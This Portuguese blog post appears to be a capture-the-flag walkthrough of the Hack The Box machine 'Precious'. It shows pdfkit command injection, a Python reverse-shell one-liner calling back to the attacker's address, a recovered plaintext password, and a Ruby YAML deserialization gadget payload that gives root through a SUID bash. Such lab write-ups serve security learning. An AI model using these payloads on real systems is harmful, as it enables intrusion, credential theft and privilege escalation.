Fala rapaziada.
Hoje vou trazer a resolução da máquina Precious do HTB.
Reconhecimento
Comecei rodando o nmap para verificar as portas abertas. Encontrei as portas 22 (ssh) e 80 (web – nginx)
nmap -sSV -Pn -p- 10.10.11.189 --min-rate=1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-01 09:08 EST
Nmap scan report for 10.10.11.189
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.25 seconds
Ao tentar acessar o site na porta 80 através do navegador, fui redirecionado para o dns precious.htb.
O site retornou erro pois não está conseguindo resolver o DNS, então tive que adicionar o apontamento do DNS no arquivo /etc/hosts em minha máquina local.
Após adicionar o apontamento, consegui acessar o site.
echo "10.10.11.189 precious.htb" >> /etc/hosts
Rodei o Gobuster para verificar se existiam outros diretórios, porém não encontrei nada.
gobuster dir -u http://precious.htb/ -w /usr/share/wordlists/dirb/big.txt -o diretorios.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://precious.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/01 09:15:22 Starting gobuster in directory enumeration mode
===============================================================
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/02/01 09:21:52 Finished
===============================================================
Como não encontrei nada, a vulnerabilidade provavelmente estará na página principal, então vamos tentar entende-lá.
A página aparenta ser um conversor de páginas web para pdf.
Primeiramente tentei submeter a palavra teste, mas a página retorna um erro de url invalida.
Bem, como o campo só aceita urls, criei um arquivo teste.txt em minha máquina local, e abri um web server local, para ver como o site irá reagir.
vim teste.txt
python3 -m http.server 80
Ao submeter a url apontando pro arquivo no meu host local, o site gerou o pdf.
Agora que entendi como o site funciona, preciso encontrar alguma vulnerabilidade nesse processo.
Após algumas análises no burp, não encontrei nada demais. Então vou baixei o pdf para análise.
A ferramenta exiftool, trás detalhes sobre o arquivo, entre eles, como o arquivo foi criado. Então nos detalhes vi que o arquivo está sendo criado pelo software pdfkit v0.8.6.
exiftool hw6vcl561iddbz9kykpxf15cnqr32ffp.pdf
Ao pesquisar um pouco sobre o software, encontrei uma vulnerabilidade de command injection para a versão recorrente.
Exploração
Após alguns testes, consegui executar o comando “id” pelo parâmetro name.
http://10.10.14.3/?name=%20`id`
Agora conseguindo executar comandos, preciso achar uma maneira de ganhar um shell no servidor.
Com o comando whereis verifiquei se o servidor tinha python3 instalado
http://10.10.14.3/?name=%20`whereis python3`
Após confirmar que o servidor tem python3 instalado, usei ele para o reverse shell. Costumo utilizar o site revshells, pois ele já contém diversos shells reversos pré-prontos.
Primeiro abri a porta 443 localmente na minha máquina
nc -vnlp 443
listening on [any] 443 ...
Após isso, submeti o comando para executar o envio do shell para minha máquina.
http://10.10.14.3/?name=%20`export RHOST="10.10.14.3";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'`
E assim consegui uma shell no servidor com o usuário ruby.
nc -vnlp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.189] 57578
$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
$ whoami
ruby
Achei a flag dentro de /home/henry, porém o único usuário que tem permissões de leitura na flag é o próprio henry (ou o root). Normalmente, quando isso ocorre nos CTFs, é um indício que precisarei de alguma forma conseguir logar no usuário que tem a permissão.
ruby@precious:/$ ls -la /home/henry
No diretório /home/ruby encontro algumas pastas ocultas, e em uma delas um arquivo de config que contém as credencias do henry
Usuário: henry
Password: Q3c1AqGHtoI0aXAYFH
ls -la /home/ruby
cat /home/ruby/.bundle/config
Com as credenciais do usuário henry, agora consigo acessar o servidor via SSH, que como vimos está com a porta aberta.
Assim consigo a primeira flag.
ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ cat /home/henry/user.txt
ac569ed58fbXXXXXXXXXXXX
Escalação de Privilégio
Agora preciso escalar os privilégios para obter acesso ao diretório root.
A primeira coisa que verifico é quais permissões sudo meu usuário tem. Ao rodar o comando sudo -l vejo que temos permissões para rodar o script update_dependencies.rb como root.
henry@precious:/opt$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Ao abrir o script, não encontro nada demais, mas após alguma pesquisa, vejo que o parâmetro YAML.load pode ser vulnerável a Blind Remote Code Execution.
cat update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
O exploit consiste em criar o arquivo dependencies.yml, e no parâmetro git_set inserir o comando a ser executado.
Criei o arquivo dentro do diretório henry, e testei o comando id.
vi /home/henry/dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "id"
"
method_id: :resolve
Após criação do arquivo, rodei o script como sudo.
Apesar dos erros, o comando foi executado com sucesso.
sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Com isso agora posso executar comandos com a permissões de root.
Editei o o arquivo dependencies.yml para adicionar a permissão SUID no /bin/bash e conseguir executar o bash como root.
vi /home/henry/dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
"
method_id: :resolve
sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Agora o bash tem permissão de SUID.
Assim ganhei acesso ao shell como root, e consegui a última flag root.txt.
henry@precious:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
07525a2455cfbXXXXXXXXXXX
Seja o primeiro a comentar